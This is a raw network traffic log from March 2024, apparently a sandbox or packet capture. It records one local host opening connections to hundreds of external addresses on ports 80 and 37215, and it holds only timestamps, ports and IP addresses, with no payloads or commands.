Mar 13, 2024 09:35:03.937632084 CET	57141	80	192.168.2.15	162.103.190.212
Mar 13, 2024 09:35:03.937643051 CET	57141	80	192.168.2.15	168.195.153.163
Mar 13, 2024 09:35:03.937649965 CET	57141	80	192.168.2.15	178.179.226.58
Mar 13, 2024 09:35:03.937654018 CET	57141	80	192.168.2.15	170.246.210.88
Mar 13, 2024 09:35:03.937661886 CET	57141	80	192.168.2.15	91.98.250.73
Mar 13, 2024 09:35:03.937676907 CET	57141	80	192.168.2.15	155.131.225.204
Mar 13, 2024 09:35:03.937679052 CET	57141	80	192.168.2.15	80.138.28.136
Mar 13, 2024 09:35:03.937683105 CET	57141	80	192.168.2.15	138.125.52.89
Mar 13, 2024 09:35:03.937683105 CET	57141	80	192.168.2.15	102.211.217.179
Mar 13, 2024 09:35:03.937704086 CET	57141	80	192.168.2.15	221.34.204.156
Mar 13, 2024 09:35:03.937704086 CET	57141	80	192.168.2.15	73.200.89.143
Mar 13, 2024 09:35:03.937710047 CET	57141	80	192.168.2.15	81.100.113.148
Mar 13, 2024 09:35:03.937715054 CET	57141	80	192.168.2.15	76.74.48.20
Mar 13, 2024 09:35:03.937721968 CET	57141	80	192.168.2.15	190.214.119.166
Mar 13, 2024 09:35:03.937721968 CET	57141	80	192.168.2.15	194.191.141.219
Mar 13, 2024 09:35:03.937736988 CET	57141	80	192.168.2.15	97.223.201.78
Mar 13, 2024 09:35:03.937736988 CET	57141	80	192.168.2.15	82.60.198.52
Mar 13, 2024 09:35:03.937738895 CET	57141	80	192.168.2.15	70.32.43.231
Mar 13, 2024 09:35:03.937756062 CET	57141	80	192.168.2.15	129.134.128.157
Mar 13, 2024 09:35:03.937756062 CET	57141	80	192.168.2.15	109.202.76.184
Mar 13, 2024 09:35:03.937778950 CET	57141	80	192.168.2.15	14.249.30.183
Mar 13, 2024 09:35:03.937782049 CET	57141	80	192.168.2.15	179.49.147.214
Mar 13, 2024 09:35:03.937782049 CET	57141	80	192.168.2.15	95.101.78.74
Mar 13, 2024 09:35:03.937782049 CET	57141	80	192.168.2.15	202.196.52.183
Mar 13, 2024 09:35:03.937782049 CET	57141	80	192.168.2.15	177.48.19.5
Mar 13, 2024 09:35:03.937783003 CET	57141	80	192.168.2.15	47.253.71.131
Mar 13, 2024 09:35:03.937783003 CET	57141	80	192.168.2.15	24.186.70.103
Mar 13, 2024 09:35:03.937788963 CET	57141	80	192.168.2.15	100.181.52.29
Mar 13, 2024 09:35:03.937803030 CET	57141	80	192.168.2.15	138.203.4.150
Mar 13, 2024 09:35:03.937803030 CET	57141	80	192.168.2.15	36.78.234.229
Mar 13, 2024 09:35:03.937813044 CET	57141	80	192.168.2.15	132.38.116.165
Mar 13, 2024 09:35:03.937813044 CET	57141	80	192.168.2.15	46.243.185.91
Mar 13, 2024 09:35:03.937829018 CET	57141	80	192.168.2.15	87.51.93.133
Mar 13, 2024 09:35:03.937835932 CET	57141	80	192.168.2.15	209.239.80.163
Mar 13, 2024 09:35:03.937844038 CET	57141	80	192.168.2.15	141.63.213.148
Mar 13, 2024 09:35:03.937855959 CET	57141	80	192.168.2.15	174.97.106.219
Mar 13, 2024 09:35:03.937865973 CET	57141	80	192.168.2.15	93.185.8.51
Mar 13, 2024 09:35:03.937881947 CET	57141	80	192.168.2.15	109.214.199.226
Mar 13, 2024 09:35:03.937892914 CET	57141	80	192.168.2.15	212.158.105.237
Mar 13, 2024 09:35:03.937892914 CET	57141	80	192.168.2.15	18.113.200.242
Mar 13, 2024 09:35:03.937892914 CET	57141	80	192.168.2.15	175.55.225.71
Mar 13, 2024 09:35:03.937927008 CET	57141	80	192.168.2.15	76.117.146.173
Mar 13, 2024 09:35:03.937927008 CET	57141	80	192.168.2.15	151.1.208.94
Mar 13, 2024 09:35:03.937927961 CET	57141	80	192.168.2.15	34.188.164.248
Mar 13, 2024 09:35:03.937931061 CET	57141	80	192.168.2.15	86.124.226.154
Mar 13, 2024 09:35:03.937931061 CET	57141	80	192.168.2.15	48.7.57.33
Mar 13, 2024 09:35:03.937933922 CET	57141	80	192.168.2.15	12.202.91.98
Mar 13, 2024 09:35:03.937933922 CET	57141	80	192.168.2.15	53.107.101.155
Mar 13, 2024 09:35:03.937937021 CET	57141	80	192.168.2.15	135.115.5.176
Mar 13, 2024 09:35:03.937943935 CET	57141	80	192.168.2.15	120.25.169.191
Mar 13, 2024 09:35:03.937958002 CET	80	46008	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:03.937961102 CET	57141	80	192.168.2.15	115.47.28.186
Mar 13, 2024 09:35:03.937966108 CET	57141	80	192.168.2.15	98.160.13.34
Mar 13, 2024 09:35:03.937968016 CET	57141	80	192.168.2.15	44.137.86.204
Mar 13, 2024 09:35:03.937974930 CET	57141	80	192.168.2.15	97.83.131.30
Mar 13, 2024 09:35:03.937983036 CET	57141	80	192.168.2.15	218.7.178.89
Mar 13, 2024 09:35:03.937983036 CET	57141	80	192.168.2.15	189.44.163.223
Mar 13, 2024 09:35:03.937987089 CET	57141	80	192.168.2.15	219.142.34.21
Mar 13, 2024 09:35:03.937987089 CET	57141	80	192.168.2.15	176.174.114.85
Mar 13, 2024 09:35:03.937987089 CET	57141	80	192.168.2.15	202.68.74.179
Mar 13, 2024 09:35:03.938018084 CET	57141	80	192.168.2.15	140.191.8.150
Mar 13, 2024 09:35:03.938021898 CET	46008	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.938021898 CET	57141	80	192.168.2.15	220.43.92.229
Mar 13, 2024 09:35:03.938021898 CET	57141	80	192.168.2.15	164.218.88.105
Mar 13, 2024 09:35:03.938026905 CET	57141	80	192.168.2.15	24.219.232.42
Mar 13, 2024 09:35:03.938029051 CET	57141	80	192.168.2.15	53.81.168.80
Mar 13, 2024 09:35:03.938034058 CET	57141	80	192.168.2.15	198.26.234.111
Mar 13, 2024 09:35:03.938045025 CET	57141	80	192.168.2.15	62.150.60.164
Mar 13, 2024 09:35:03.938046932 CET	57141	80	192.168.2.15	140.198.239.142
Mar 13, 2024 09:35:03.938049078 CET	57141	80	192.168.2.15	132.233.193.174
Mar 13, 2024 09:35:03.938045025 CET	57141	80	192.168.2.15	39.201.199.150
Mar 13, 2024 09:35:03.938049078 CET	57141	80	192.168.2.15	8.115.219.249
Mar 13, 2024 09:35:03.938046932 CET	57141	80	192.168.2.15	194.253.111.164
Mar 13, 2024 09:35:03.938049078 CET	57141	80	192.168.2.15	165.191.122.187
Mar 13, 2024 09:35:03.938049078 CET	57141	80	192.168.2.15	35.160.182.130
Mar 13, 2024 09:35:03.938061953 CET	57141	80	192.168.2.15	181.214.173.44
Mar 13, 2024 09:35:03.938069105 CET	57141	80	192.168.2.15	13.121.98.55
Mar 13, 2024 09:35:03.938069105 CET	57141	80	192.168.2.15	98.188.10.147
Mar 13, 2024 09:35:03.938069105 CET	57141	80	192.168.2.15	93.174.110.53
Mar 13, 2024 09:35:03.938072920 CET	57141	80	192.168.2.15	44.24.36.123
Mar 13, 2024 09:35:03.938072920 CET	57141	80	192.168.2.15	130.109.124.75
Mar 13, 2024 09:35:03.938086033 CET	57141	80	192.168.2.15	13.40.184.103
Mar 13, 2024 09:35:03.938091040 CET	57141	80	192.168.2.15	47.223.16.211
Mar 13, 2024 09:35:03.938091040 CET	57141	80	192.168.2.15	149.187.250.239
Mar 13, 2024 09:35:03.938091993 CET	57141	80	192.168.2.15	188.28.228.168
Mar 13, 2024 09:35:03.938092947 CET	57141	80	192.168.2.15	131.104.167.220
Mar 13, 2024 09:35:03.938095093 CET	57141	80	192.168.2.15	19.243.63.12
Mar 13, 2024 09:35:03.938102961 CET	57141	80	192.168.2.15	128.255.5.40
Mar 13, 2024 09:35:03.938112974 CET	57141	80	192.168.2.15	46.155.87.92
Mar 13, 2024 09:35:03.938113928 CET	57141	80	192.168.2.15	183.129.85.235
Mar 13, 2024 09:35:03.938114882 CET	57141	80	192.168.2.15	66.190.237.135
Mar 13, 2024 09:35:03.938127995 CET	57141	80	192.168.2.15	96.226.22.38
Mar 13, 2024 09:35:03.938134909 CET	80	46008	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:03.938141108 CET	57141	80	192.168.2.15	151.197.128.76
Mar 13, 2024 09:35:03.938142061 CET	57141	80	192.168.2.15	85.136.97.100
Mar 13, 2024 09:35:03.938142061 CET	57141	80	192.168.2.15	82.196.52.206
Mar 13, 2024 09:35:03.938148975 CET	57141	80	192.168.2.15	103.146.226.12
Mar 13, 2024 09:35:03.938148975 CET	57141	80	192.168.2.15	216.50.253.161
Mar 13, 2024 09:35:03.938178062 CET	57141	80	192.168.2.15	73.90.248.0
Mar 13, 2024 09:35:03.938178062 CET	57141	80	192.168.2.15	108.122.151.85
Mar 13, 2024 09:35:03.938182116 CET	46008	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.938182116 CET	57141	80	192.168.2.15	46.154.8.146
Mar 13, 2024 09:35:03.938186884 CET	57141	80	192.168.2.15	213.115.120.75
Mar 13, 2024 09:35:03.938193083 CET	57141	80	192.168.2.15	110.140.15.233
Mar 13, 2024 09:35:03.938195944 CET	57141	80	192.168.2.15	5.54.130.247
Mar 13, 2024 09:35:03.938203096 CET	57141	80	192.168.2.15	120.232.203.16
Mar 13, 2024 09:35:03.938203096 CET	57141	80	192.168.2.15	197.153.131.205
Mar 13, 2024 09:35:03.938209057 CET	57141	80	192.168.2.15	200.69.231.163
Mar 13, 2024 09:35:03.938221931 CET	57141	80	192.168.2.15	61.75.217.228
Mar 13, 2024 09:35:03.938222885 CET	57141	80	192.168.2.15	131.211.70.109
Mar 13, 2024 09:35:03.938235044 CET	57141	80	192.168.2.15	24.87.91.94
Mar 13, 2024 09:35:03.938239098 CET	57141	80	192.168.2.15	135.93.82.236
Mar 13, 2024 09:35:03.938239098 CET	57141	80	192.168.2.15	43.149.186.117
Mar 13, 2024 09:35:03.938256025 CET	57141	80	192.168.2.15	136.187.96.210
Mar 13, 2024 09:35:03.938256025 CET	57141	80	192.168.2.15	153.214.59.40
Mar 13, 2024 09:35:03.938273907 CET	57141	80	192.168.2.15	172.140.12.93
Mar 13, 2024 09:35:03.938273907 CET	57141	80	192.168.2.15	95.73.208.165
Mar 13, 2024 09:35:03.938275099 CET	57141	80	192.168.2.15	110.217.127.3
Mar 13, 2024 09:35:03.938287973 CET	57141	80	192.168.2.15	140.22.180.83
Mar 13, 2024 09:35:03.938291073 CET	57141	80	192.168.2.15	23.188.250.35
Mar 13, 2024 09:35:03.938304901 CET	57141	80	192.168.2.15	44.211.91.91
Mar 13, 2024 09:35:03.938304901 CET	57141	80	192.168.2.15	182.48.0.230
Mar 13, 2024 09:35:03.938304901 CET	57141	80	192.168.2.15	159.203.89.157
Mar 13, 2024 09:35:03.938304901 CET	57141	80	192.168.2.15	118.27.60.212
Mar 13, 2024 09:35:03.938311100 CET	57141	80	192.168.2.15	209.57.149.106
Mar 13, 2024 09:35:03.938311100 CET	57141	80	192.168.2.15	160.127.30.11
Mar 13, 2024 09:35:03.938325882 CET	57141	80	192.168.2.15	178.147.117.240
Mar 13, 2024 09:35:03.938329935 CET	57141	80	192.168.2.15	148.202.63.78
Mar 13, 2024 09:35:03.938338995 CET	57141	80	192.168.2.15	108.245.188.117
Mar 13, 2024 09:35:03.938338995 CET	57141	80	192.168.2.15	161.44.9.117
Mar 13, 2024 09:35:03.938344002 CET	57141	80	192.168.2.15	71.61.238.106
Mar 13, 2024 09:35:03.938344002 CET	57141	80	192.168.2.15	156.209.139.29
Mar 13, 2024 09:35:03.938344955 CET	57141	80	192.168.2.15	50.252.114.244
Mar 13, 2024 09:35:03.938348055 CET	57141	80	192.168.2.15	112.69.194.142
Mar 13, 2024 09:35:03.938348055 CET	57141	80	192.168.2.15	92.156.113.16
Mar 13, 2024 09:35:03.938364983 CET	57141	80	192.168.2.15	134.181.155.239
Mar 13, 2024 09:35:03.938364983 CET	57141	80	192.168.2.15	100.152.170.184
Mar 13, 2024 09:35:03.938374996 CET	57141	80	192.168.2.15	36.153.252.141
Mar 13, 2024 09:35:03.938390017 CET	57141	80	192.168.2.15	60.243.46.91
Mar 13, 2024 09:35:03.938390017 CET	57141	80	192.168.2.15	9.225.46.68
Mar 13, 2024 09:35:03.938395023 CET	57141	80	192.168.2.15	59.84.221.56
Mar 13, 2024 09:35:03.938404083 CET	57141	80	192.168.2.15	222.1.38.124
Mar 13, 2024 09:35:03.938425064 CET	57141	80	192.168.2.15	94.127.3.162
Mar 13, 2024 09:35:03.938429117 CET	57141	80	192.168.2.15	64.100.138.224
Mar 13, 2024 09:35:03.938433886 CET	57141	80	192.168.2.15	107.85.0.85
Mar 13, 2024 09:35:03.938433886 CET	57141	80	192.168.2.15	193.145.209.170
Mar 13, 2024 09:35:03.938440084 CET	57141	80	192.168.2.15	143.226.32.199
Mar 13, 2024 09:35:03.938465118 CET	57141	80	192.168.2.15	49.44.91.79
Mar 13, 2024 09:35:03.938467026 CET	57141	80	192.168.2.15	75.101.106.39
Mar 13, 2024 09:35:03.938469887 CET	57141	80	192.168.2.15	166.117.146.207
Mar 13, 2024 09:35:03.938469887 CET	57141	80	192.168.2.15	115.51.238.250
Mar 13, 2024 09:35:03.938469887 CET	57141	80	192.168.2.15	182.95.194.147
Mar 13, 2024 09:35:03.938476086 CET	57141	80	192.168.2.15	53.41.23.26
Mar 13, 2024 09:35:03.938477993 CET	57141	80	192.168.2.15	20.34.8.183
Mar 13, 2024 09:35:03.938477993 CET	57141	80	192.168.2.15	161.162.169.59
Mar 13, 2024 09:35:03.938483000 CET	57141	80	192.168.2.15	186.103.169.101
Mar 13, 2024 09:35:03.938483000 CET	57141	80	192.168.2.15	37.163.56.8
Mar 13, 2024 09:35:03.938484907 CET	57141	80	192.168.2.15	93.190.7.238
Mar 13, 2024 09:35:03.938493013 CET	57141	80	192.168.2.15	103.22.161.134
Mar 13, 2024 09:35:03.938499928 CET	57141	80	192.168.2.15	196.120.127.125
Mar 13, 2024 09:35:03.938499928 CET	57141	80	192.168.2.15	80.196.100.142
Mar 13, 2024 09:35:03.938503027 CET	57141	80	192.168.2.15	219.244.174.225
Mar 13, 2024 09:35:03.938503981 CET	57141	80	192.168.2.15	12.239.218.108
Mar 13, 2024 09:35:03.938503981 CET	57141	80	192.168.2.15	114.74.104.101
Mar 13, 2024 09:35:03.938503981 CET	57141	80	192.168.2.15	130.141.214.33
Mar 13, 2024 09:35:03.938513994 CET	57141	80	192.168.2.15	95.223.116.99
Mar 13, 2024 09:35:03.938518047 CET	57141	80	192.168.2.15	87.42.219.187
Mar 13, 2024 09:35:03.938527107 CET	57141	80	192.168.2.15	31.239.138.232
Mar 13, 2024 09:35:03.938528061 CET	57141	80	192.168.2.15	122.146.135.4
Mar 13, 2024 09:35:03.938534975 CET	57141	80	192.168.2.15	8.235.227.210
Mar 13, 2024 09:35:03.938534975 CET	57141	80	192.168.2.15	155.110.86.74
Mar 13, 2024 09:35:03.938541889 CET	57141	80	192.168.2.15	82.72.123.16
Mar 13, 2024 09:35:03.938553095 CET	57141	80	192.168.2.15	105.126.59.192
Mar 13, 2024 09:35:03.938558102 CET	57141	80	192.168.2.15	132.93.104.189
Mar 13, 2024 09:35:03.938565016 CET	57141	80	192.168.2.15	88.2.14.152
Mar 13, 2024 09:35:03.938566923 CET	57141	80	192.168.2.15	13.206.83.105
Mar 13, 2024 09:35:03.938574076 CET	57141	80	192.168.2.15	34.217.245.73
Mar 13, 2024 09:35:03.938574076 CET	57141	80	192.168.2.15	139.96.188.39
Mar 13, 2024 09:35:03.938574076 CET	57141	80	192.168.2.15	161.214.166.130
Mar 13, 2024 09:35:03.938581944 CET	57141	80	192.168.2.15	222.166.94.161
Mar 13, 2024 09:35:03.938581944 CET	57141	80	192.168.2.15	82.184.211.205
Mar 13, 2024 09:35:03.938581944 CET	57141	80	192.168.2.15	200.139.167.218
Mar 13, 2024 09:35:03.938595057 CET	57141	80	192.168.2.15	160.21.110.89
Mar 13, 2024 09:35:03.938601971 CET	57141	80	192.168.2.15	98.24.61.211
Mar 13, 2024 09:35:03.938604116 CET	57141	80	192.168.2.15	135.167.203.70
Mar 13, 2024 09:35:03.938604116 CET	57141	80	192.168.2.15	141.245.164.231
Mar 13, 2024 09:35:03.938611031 CET	57141	80	192.168.2.15	176.146.62.181
Mar 13, 2024 09:35:03.938612938 CET	57141	80	192.168.2.15	25.94.187.243
Mar 13, 2024 09:35:03.938612938 CET	57141	80	192.168.2.15	148.79.94.152
Mar 13, 2024 09:35:03.938621044 CET	57141	80	192.168.2.15	125.8.88.26
Mar 13, 2024 09:35:03.938627005 CET	57141	80	192.168.2.15	66.72.229.30
Mar 13, 2024 09:35:03.938627958 CET	57141	80	192.168.2.15	13.181.44.12
Mar 13, 2024 09:35:03.938631058 CET	57141	80	192.168.2.15	81.63.141.10
Mar 13, 2024 09:35:03.938641071 CET	57141	80	192.168.2.15	71.178.218.9
Mar 13, 2024 09:35:03.938641071 CET	57141	80	192.168.2.15	109.16.63.119
Mar 13, 2024 09:35:03.938643932 CET	57141	80	192.168.2.15	66.138.86.178
Mar 13, 2024 09:35:03.938664913 CET	57141	80	192.168.2.15	83.40.194.220
Mar 13, 2024 09:35:03.938666105 CET	57141	80	192.168.2.15	5.42.81.125
Mar 13, 2024 09:35:03.938666105 CET	57141	80	192.168.2.15	65.170.5.200
Mar 13, 2024 09:35:03.938668013 CET	57141	80	192.168.2.15	34.236.221.111
Mar 13, 2024 09:35:03.938683987 CET	57141	80	192.168.2.15	50.232.34.129
Mar 13, 2024 09:35:03.938685894 CET	57141	80	192.168.2.15	81.100.205.147
Mar 13, 2024 09:35:03.938687086 CET	57141	80	192.168.2.15	54.163.245.1
Mar 13, 2024 09:35:03.938688993 CET	57141	80	192.168.2.15	60.196.190.183
Mar 13, 2024 09:35:03.938697100 CET	57141	80	192.168.2.15	94.194.237.252
Mar 13, 2024 09:35:03.938697100 CET	57141	80	192.168.2.15	97.167.199.224
Mar 13, 2024 09:35:03.938699007 CET	57141	80	192.168.2.15	71.218.42.222
Mar 13, 2024 09:35:03.938699007 CET	57141	80	192.168.2.15	104.160.240.19
Mar 13, 2024 09:35:03.938709021 CET	57141	80	192.168.2.15	50.255.59.52
Mar 13, 2024 09:35:03.938709974 CET	57141	80	192.168.2.15	60.52.20.108
Mar 13, 2024 09:35:03.938709974 CET	57141	80	192.168.2.15	12.181.163.242
Mar 13, 2024 09:35:03.938709974 CET	57141	80	192.168.2.15	184.210.47.240
Mar 13, 2024 09:35:03.938711882 CET	57141	80	192.168.2.15	190.161.133.186
Mar 13, 2024 09:35:03.938711882 CET	57141	80	192.168.2.15	48.164.160.60
Mar 13, 2024 09:35:03.938725948 CET	57141	80	192.168.2.15	206.3.72.222
Mar 13, 2024 09:35:03.938725948 CET	57141	80	192.168.2.15	69.154.179.120
Mar 13, 2024 09:35:03.938728094 CET	57141	80	192.168.2.15	2.188.160.245
Mar 13, 2024 09:35:03.938739061 CET	57141	80	192.168.2.15	14.8.56.132
Mar 13, 2024 09:35:03.938739061 CET	57141	80	192.168.2.15	88.202.18.243
Mar 13, 2024 09:35:03.938744068 CET	57141	80	192.168.2.15	206.163.208.131
Mar 13, 2024 09:35:03.938747883 CET	57141	80	192.168.2.15	52.218.79.254
Mar 13, 2024 09:35:03.938770056 CET	57141	80	192.168.2.15	38.69.22.255
Mar 13, 2024 09:35:03.938771009 CET	57141	80	192.168.2.15	110.13.206.68
Mar 13, 2024 09:35:03.938776970 CET	57141	80	192.168.2.15	149.223.179.241
Mar 13, 2024 09:35:03.938777924 CET	57141	80	192.168.2.15	73.166.110.41
Mar 13, 2024 09:35:03.938786983 CET	57141	80	192.168.2.15	51.216.213.90
Mar 13, 2024 09:35:03.938803911 CET	57141	80	192.168.2.15	109.8.63.178
Mar 13, 2024 09:35:03.938805103 CET	57141	80	192.168.2.15	23.218.188.40
Mar 13, 2024 09:35:03.938811064 CET	57141	80	192.168.2.15	172.11.162.68
Mar 13, 2024 09:35:03.938812017 CET	57141	80	192.168.2.15	42.247.104.68
Mar 13, 2024 09:35:03.938812017 CET	57141	80	192.168.2.15	182.253.138.190
Mar 13, 2024 09:35:03.938812971 CET	57141	80	192.168.2.15	203.134.72.132
Mar 13, 2024 09:35:03.938824892 CET	57141	80	192.168.2.15	179.68.228.106
Mar 13, 2024 09:35:03.938832045 CET	57141	80	192.168.2.15	45.235.41.19
Mar 13, 2024 09:35:03.938843012 CET	57141	80	192.168.2.15	171.117.83.181
Mar 13, 2024 09:35:03.938844919 CET	57141	80	192.168.2.15	220.200.82.101
Mar 13, 2024 09:35:03.938851118 CET	57141	80	192.168.2.15	132.78.2.139
Mar 13, 2024 09:35:03.938851118 CET	57141	80	192.168.2.15	148.153.103.215
Mar 13, 2024 09:35:03.938855886 CET	57141	80	192.168.2.15	90.177.69.89
Mar 13, 2024 09:35:03.938868046 CET	57141	80	192.168.2.15	98.178.184.87
Mar 13, 2024 09:35:03.938873053 CET	57141	80	192.168.2.15	99.9.186.57
Mar 13, 2024 09:35:03.938885927 CET	57141	80	192.168.2.15	141.136.130.94
Mar 13, 2024 09:35:03.938899994 CET	57141	80	192.168.2.15	52.46.114.210
Mar 13, 2024 09:35:03.938900948 CET	57141	80	192.168.2.15	98.39.34.252
Mar 13, 2024 09:35:03.938905001 CET	57141	80	192.168.2.15	188.168.46.215
Mar 13, 2024 09:35:03.938919067 CET	57141	80	192.168.2.15	70.191.23.140
Mar 13, 2024 09:35:03.938927889 CET	57141	80	192.168.2.15	190.222.204.224
Mar 13, 2024 09:35:03.938927889 CET	57141	80	192.168.2.15	131.24.152.136
Mar 13, 2024 09:35:03.938930035 CET	57141	80	192.168.2.15	122.187.29.208
Mar 13, 2024 09:35:03.938945055 CET	57141	80	192.168.2.15	20.206.1.216
Mar 13, 2024 09:35:03.938945055 CET	57141	80	192.168.2.15	58.115.114.166
Mar 13, 2024 09:35:03.938946009 CET	57141	80	192.168.2.15	122.240.61.174
Mar 13, 2024 09:35:03.938946962 CET	57141	80	192.168.2.15	147.194.228.70
Mar 13, 2024 09:35:03.938946962 CET	57141	80	192.168.2.15	164.16.162.34
Mar 13, 2024 09:35:03.938951015 CET	57141	80	192.168.2.15	105.252.227.183
Mar 13, 2024 09:35:03.938951015 CET	57141	80	192.168.2.15	160.176.190.187
Mar 13, 2024 09:35:03.938961029 CET	57141	80	192.168.2.15	141.51.158.235
Mar 13, 2024 09:35:03.938962936 CET	57141	80	192.168.2.15	158.205.8.33
Mar 13, 2024 09:35:03.938962936 CET	57141	80	192.168.2.15	43.184.76.150
Mar 13, 2024 09:35:03.938963890 CET	57141	80	192.168.2.15	12.116.110.6
Mar 13, 2024 09:35:03.938963890 CET	57141	80	192.168.2.15	160.197.123.44
Mar 13, 2024 09:35:03.983728886 CET	80	58432	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:03.983810902 CET	58432	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:03.983957052 CET	58432	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:03.983957052 CET	58432	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:03.984028101 CET	58466	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:04.010920048 CET	80	34890	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.010989904 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.011138916 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.011138916 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.011188984 CET	34924	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.067037106 CET	80	33840	168.168.6.30	192.168.2.15
Mar 13, 2024 09:35:04.067136049 CET	33840	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.067292929 CET	33840	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.067305088 CET	33840	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.067342997 CET	33874	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.071100950 CET	80	58432	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:04.071259975 CET	80	58432	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:04.071295023 CET	80	58466	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:04.071352959 CET	58466	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:04.071378946 CET	58466	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:04.121350050 CET	80	57141	95.101.78.74	192.168.2.15
Mar 13, 2024 09:35:04.121437073 CET	57141	80	192.168.2.15	95.101.78.74
Mar 13, 2024 09:35:04.125698090 CET	80	34890	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.125746965 CET	80	34924	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.125812054 CET	34924	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.125833988 CET	80	34890	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.125844955 CET	34924	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.125889063 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.125961065 CET	80	34890	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.126004934 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.140616894 CET	80	57141	5.42.81.125	192.168.2.15
Mar 13, 2024 09:35:04.156064034 CET	80	51002	23.206.48.35	192.168.2.15
Mar 13, 2024 09:35:04.156146049 CET	51002	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:04.156302929 CET	51002	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:04.156302929 CET	51002	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:04.156374931 CET	51036	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:04.158972025 CET	80	58466	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:04.159020901 CET	58466	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:04.172905922 CET	80	57141	78.186.205.237	192.168.2.15
Mar 13, 2024 09:35:04.172981024 CET	57141	80	192.168.2.15	78.186.205.237
Mar 13, 2024 09:35:04.174238920 CET	80	54828	35.73.74.28	192.168.2.15
Mar 13, 2024 09:35:04.174302101 CET	54828	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:04.174432993 CET	45094	80	192.168.2.15	78.186.205.237
Mar 13, 2024 09:35:04.174452066 CET	54828	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:04.174452066 CET	54828	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:04.174470901 CET	54864	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:04.229095936 CET	80	57141	61.85.9.57	192.168.2.15
Mar 13, 2024 09:35:04.229154110 CET	57141	80	192.168.2.15	61.85.9.57
Mar 13, 2024 09:35:04.240873098 CET	80	34924	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:04.240941048 CET	34924	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:04.243139029 CET	80	50868	116.162.161.24	192.168.2.15
Mar 13, 2024 09:35:04.243207932 CET	50868	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:04.243254900 CET	50868	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:04.248641968 CET	80	33874	168.168.6.30	192.168.2.15
Mar 13, 2024 09:35:04.248734951 CET	33874	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.248734951 CET	33874	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:04.279562950 CET	80	46018	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:04.282594919 CET	80	46018	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:04.282737970 CET	46018	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:04.303953886 CET	57653	37215	192.168.2.15	156.210.122.148
Mar 13, 2024 09:35:04.303961039 CET	57653	37215	192.168.2.15	197.181.238.55
Mar 13, 2024 09:35:04.303972960 CET	57653	37215	192.168.2.15	197.25.161.76
Mar 13, 2024 09:35:04.303972960 CET	57653	37215	192.168.2.15	156.202.227.19
Mar 13, 2024 09:35:04.303972960 CET	57653	37215	192.168.2.15	156.146.32.100
Mar 13, 2024 09:35:04.303982019 CET	57653	37215	192.168.2.15	197.183.238.51
Mar 13, 2024 09:35:04.303982019 CET	57653	37215	192.168.2.15	156.177.80.158
Mar 13, 2024 09:35:04.304011106 CET	57653	37215	192.168.2.15	197.43.242.86
Mar 13, 2024 09:35:04.304014921 CET	57653	37215	192.168.2.15	156.194.75.224
Mar 13, 2024 09:35:04.304014921 CET	57653	37215	192.168.2.15	197.154.35.240
Mar 13, 2024 09:35:04.304019928 CET	57653	37215	192.168.2.15	156.75.101.54
Mar 13, 2024 09:35:04.304019928 CET	57653	37215	192.168.2.15	41.163.53.3
Mar 13, 2024 09:35:04.304019928 CET	57653	37215	192.168.2.15	156.246.149.59
Mar 13, 2024 09:35:04.304040909 CET	57653	37215	192.168.2.15	41.45.10.91
Mar 13, 2024 09:35:04.304047108 CET	57653	37215	192.168.2.15	156.93.82.26
Mar 13, 2024 09:35:04.304048061 CET	57653	37215	192.168.2.15	197.133.24.124
Mar 13, 2024 09:35:04.304048061 CET	57653	37215	192.168.2.15	197.53.68.254
Mar 13, 2024 09:35:04.304054976 CET	57653	37215	192.168.2.15	156.117.186.210
Mar 13, 2024 09:35:04.304073095 CET	57653	37215	192.168.2.15	156.115.206.253
Mar 13, 2024 09:35:04.304076910 CET	57653	37215	192.168.2.15	156.212.78.130
